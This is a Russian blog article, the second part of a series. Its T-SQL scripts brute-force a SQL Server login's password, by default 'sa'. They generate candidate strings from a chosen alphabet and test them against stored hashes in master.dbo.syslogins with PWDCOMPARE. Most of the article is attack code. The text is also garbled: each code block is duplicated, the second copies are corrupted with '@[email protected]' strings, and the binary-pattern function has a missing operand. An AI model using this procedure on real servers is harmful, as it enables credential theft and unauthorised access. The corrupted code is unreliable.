
Продолжаем решать проблему, начатую в статье “Брутфорс с помощью MSSQL-сервера. часть1“, как можно подобрать пароль SQL-ной учетной записи, причем подобрать именно средствами SQL.
Создаём таблицу, в которой будем генерировать пароли и алфавит для наших паролей:
CREATE DATABASE [Brute_force] ON PRIMARY ( NAME = N'Brute_force', FILENAME = N'c:\Brute_force.mdf' , SIZE = 3072KB , FILEGROWTH = 1024KB ) LOG ON ( NAME = N'Brute_force_log', FILENAME = N'c:\Brute_force_log.ldf' , SIZE = 17408KB , FILEGROWTH = 10%) GO ALTER DATABASE [Brute_force] SET RECOVERY SIMPLE GO ALTER DATABASE [Brute_force] COLLATE Cyrillic_General_CS_AS GO
CREATE DATABASE [Brute_force] ON PRIMARY ( NAME = N'Brute_force', FILENAME = N'c:\Brute_force.mdf' , SIZE = 3072KB , FILEGROWTH = 1024KB ) LOG ON ( NAME = N'Brute_force_log', FILENAME = N'c:\Brute_force_log.ldf' , SIZE = 17408KB , FILEGROWTH = 10%) GO ALTER DATABASE [Brute_force] SET RECOVERY SIMPLE GO ALTER DATABASE [Brute_force] COLLATE Cyrillic_General_CS_AS GO
Первая часть скрипта создаёт базу данных, потом мы устанавливаем простую модель восстановления и выставляем тип сравнения. чувствительный к регистру.
Создаём таблицы в нашей БД:
CREATE TABLE dbo.Lang ( pass char(1) ,CONSTRAINT PK_Lang PRIMARY KEY (pass) ) Go CREATE TABLE dbo.Pass ( pass sysname, CONSTRAINT PK_Pass PRIMARY KEY (pass) ) GO CREATE TABLE dbo.Result ( username sysname ,pass sysname ) GO
CREATE TABLE dbo.Lang ( pass char(1) ,CONSTRAINT PK_Lang PRIMARY KEY (pass) ) Go CREATE TABLE dbo.Pass ( pass sysname, CONSTRAINT PK_Pass PRIMARY KEY (pass) ) GO CREATE TABLE dbo.Result ( username sysname ,pass sysname ) GO
В первой таблице (Lang) мы будем хранить алфавит наших паролей, во второй таблице (Pass) будем хранить сами пароли, и в третьей таблице (Result) мы будем хранить найденные пароли.
Создаём встроенные процедуры.
Вспомогательная процедура конвертирует TININT в строку, содержащую бинарное представление числа. (Например, 1 преобразуется в 0000001 и тд.)
CREATE FUNCTION dbo.fnBinaryPattern (@Byte TINYINT) RETURNS CHAR(8) AS BEGIN DECLARE @Pattern CHAR(8) SET @Pattern = '' SELECT @Pattern = convert(VARCHAR,+(@Byte & 1) / 1) + convert(VARCHAR,(@Byte & 2) / 2) + convert(VARCHAR,(@Byte & 4) / 4) + convert(VARCHAR,(@Byte & ) /) + convert(VARCHAR,(@Byte & 16) / 16) + convert(VARCHAR,(@Byte & 32) / 32) + convert(VARCHAR,(@Byte & 64) / 64) + convert(VARCHAR,(@Byte & 128) / 128) RETURN reverse(@Pattern) END GO
CREATE FUNCTION dbo.fnBinaryPattern (@Byte TINYINT) RETURNS CHAR(8) AS BEGIN DECLARE @Pattern CHAR(8) SET @Pattern = '' SELECT @Pattern = convert(VARCHAR,+(@Byte & 1) / 1) + convert(VARCHAR,(@Byte & 2) / 2) + convert(VARCHAR,(@Byte & 4) / 4) + convert(VARCHAR,(@Byte & ) /) + convert(VARCHAR,(@Byte & 16) / 16) + convert(VARCHAR,(@Byte & 32) / 32) + convert(VARCHAR,(@Byte & 64) / 64) + convert(VARCHAR,(@Byte & 128) / 128) RETURN reverse(@Pattern) END GO
Процедура создаёт алфавит в таблице Lang, состоящий:
-
из одних заглавных и прописных букв, если параметр iLang = 1,
-
только из цифр, если iLang = 2
-
только из спец символов, если iLang =6.
Можно так же комбинировать эти биты как угодно.
CREATE PROCEDURE dbo.creat_lang (@iLang TINYINT = 0)AS BEGIN SET NOCOUNT ON DECLARE @str_bit CHAR(8) DECLARE @i int DELETE FROM dbo.Lang; set @str_bit = dbo.fnBinaryPattern(@iLang) print @str_bit IF substring(@str_bit,6,1) = '1' BEGIN print '3 bit up(other redible simbols)' SET @i = 32 WHILE @i < 48 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; SET @i = 58 WHILE @i < 65 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; SET @i = 91 WHILE @i < 97 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; SET @i = 123 WHILE @i < 127 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; END IF substring(@str_bit,7,1) = '1' BEGIN print '2 bit up(0-9)' SET @i = 48 WHILE @i < 58 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; END IF substring(@str_bit,8,1) = '1' BEGIN print '1 bit up (A-Z,a-z)' SET @i = 65 WHILE @i < 91 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; SET @i = 97 WHILE @i < 123 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @i=@i+1 END; END END GO
CREATE PROCEDURE dbo.creat_lang (@iLang TINYINT = 0)AS BEGIN SET NOCOUNT ON DECLARE @str_bit CHAR(8) DECLARE @i int DELETE FROM dbo.Lang; set @str_bit = dbo.fnBinaryPattern(@iLang) print @str_bit IF substring(@str_bit,6,1) = '1' BEGIN print '3 bit up(other redible simbols)' SET @i = 32 WHILE @i < 48 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; SET @i = 58 WHILE @i < 65 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; SET @i = 91 WHILE @i < 97 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; SET @i = 123 WHILE @i < 127 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; END IF substring(@str_bit,7,1) = '1' BEGIN print '2 bit up(0-9)' SET @i = 48 WHILE @i < 58 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; END IF substring(@str_bit,8,1) = '1' BEGIN print '1 bit up (A-Z,a-z)' SET @i = 65 WHILE @i < 91 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; SET @i = 97 WHILE @i < 123 BEGIN INSERT INTO dbo.Lang(pass) VALUES (CHAR(@i)) SET @[email protected]+1 END; END END GO
Процедура creat_SubDict генерирует на основе словаря пароли, периодически проводя проверки с хэшем и очищая таблицу от не подошедших паролей.
Параметры:
@strPass - часть пароля, получившаяся на предыдущей итерации
@iLen - длина пароля
@iLenOrig - устанавливает на какой итерации проводить сравнение сгенерированных паролей с хэшем
UserNamе - пользователь, для которого подбираем пароль
CREATE PROCEDURE dbo.creat_SubDict (@strPass varchar(255) ,@iLen TINYINT = 1 ,@iLenOrig TINYINT = 0 ,@UserName sysname='sa') AS BEGIN SET NOCOUNT ON DECLARE @fullpass char(255); DECLARE @strChar char(255); DECLARE @i_Len TINYINT; DECLARE Lang_Cursor CURSOR LOCAL FOR SELECT pass FROM Brute_force.dbo.Lang; SET @i_Len= @iLen-1 OPEN Lang_Cursor; FETCH NEXT FROM Lang_Cursor INTO @strChar; WHILE @@FETCH_STATUS = 0 BEGIN SET @fullpass = RTrim(@strPass) + RTrim(@strChar); IF @iLen>1 BEGIN EXECUTE dbo.creat_SubDict @strPass=@fullpass ,@iLen=@i_Len, @iLenOrig=@iLenOrig, @UserName=@UserName END ELSE BEGIN INSERT INTO Brute_force.dbo.Pass(pass) VALUES (@fullpass ); END; FETCH NEXT FROM Lang_Cursor INTO @strChar END; IF @iLenOrig =@iLen BEGIN Insert into Brute_force.dbo.Result select u.name,p.pass FROM Brute_force.dbo.Pass as p CROSS JOIN master.dbo.syslogins u WHERE u.[password] IS NOT NULL AND u.name=@UserName AND PWDCOMPARE(RTRIM(p.pass), u.[password])=1 DELETE FROM Brute_force.dbo.Pass; END; CLOSE Lang_Cursor; DEALLOCATE Lang_Cursor; END GO
CREATE PROCEDURE dbo.creat_SubDict (@strPass varchar(255) ,@iLen TINYINT = 1 ,@iLenOrig TINYINT = 0 ,@UserName sysname='sa') AS BEGIN SET NOCOUNT ON DECLARE @fullpass char(255); DECLARE @strChar char(255); DECLARE @i_Len TINYINT; DECLARE Lang_Cursor CURSOR LOCAL FOR SELECT pass FROM Brute_force.dbo.Lang; SET @i_Len= @iLen-1 OPEN Lang_Cursor; FETCH NEXT FROM Lang_Cursor INTO @strChar; WHILE @@FETCH_STATUS = 0 BEGIN SET @fullpass = RTrim(@strPass) + RTrim(@strChar); IF @iLen>1 BEGIN EXECUTE dbo.creat_SubDict @[email protected] ,@[email protected]_Len, @[email protected], @[email protected] END ELSE BEGIN INSERT INTO Brute_force.dbo.Pass(pass) VALUES (@fullpass ); END; FETCH NEXT FROM Lang_Cursor INTO @strChar END; IF @iLenOrig [email protected] BEGIN Insert into Brute_force.dbo.Result select u.name,p.pass FROM Brute_force.dbo.Pass as p CROSS JOIN master.dbo.syslogins u WHERE u.[password] IS NOT NULL AND [email protected] AND PWDCOMPARE(RTRIM(p.pass), u.[password])=1 DELETE FROM Brute_force.dbo.Pass; END; CLOSE Lang_Cursor; DEALLOCATE Lang_Cursor; END GO
Материнская процедура, которую вызывает пользователь.
@iLenBegin - минимальная длина пароля
@iLenEnd - максимальная длина пароля
@iLenOrig – устанавливает, на какой итерации проводить сравнение сгенерированных паролей с хэшем
UserNamе – пользователь, для которого подбираем пароль
CREATE PROCEDURE dbo.creat_dict (@iLenBegin TINYINT = 1 ,@iLenEnd TINYINT = 1 ,@iLenOrig TINYINT = 0 ,@UserName sysname='sa') AS BEGIN SET NOCOUNT ON DELETE FROM Brute_force.dbo.Pass; DECLARE @i TINYINT SET @i =@iLenBegin WHILE @i <=@iLenEnd BEGIN print 'Creating '+convert(VARCHAR,@i)+' len Pass'; EXECUTE creat_SubDict @strPass='', @iLen=@i, @iLenOrig=@iLenOrig, @UserName=@UserName print convert(VARCHAR,@i)+' len Pass has created' SET @i = @i+1; END; END GO
CREATE PROCEDURE dbo.creat_dict (@iLenBegin TINYINT = 1 ,@iLenEnd TINYINT = 1 ,@iLenOrig TINYINT = 0 ,@UserName sysname='sa') AS BEGIN SET NOCOUNT ON DELETE FROM Brute_force.dbo.Pass; DECLARE @i TINYINT SET @i [email protected] WHILE @i <[email protected] BEGIN print 'Creating '+convert(VARCHAR,@i)+' len Pass'; EXECUTE creat_SubDict @strPass='', @[email protected], @[email protected], @[email protected] print convert(VARCHAR,@i)+' len Pass has created' SET @i = @i+1; END; END GO
Ну и собственно запускаем процедуру подбора пароля :
Генерируем алфавит.
Запускаем перебор паролей.
EXECUTE creat_dict @iLenBegin=1, @iLenEnd=4 GO
EXECUTE creat_dict @iLenBegin=1, @iLenEnd=4 GO
Проверяем результат:
Вряд ли эта статья будет иметь какое-либо практическое применение, но как тренировка практических знаний и упражнение для ума, надеюсь, будет полезна.
Читайте также:



Один комментарий
Зачем фиксированная высота блока кода? читать код неудобно, потому ваш код я не читал.
Комментарии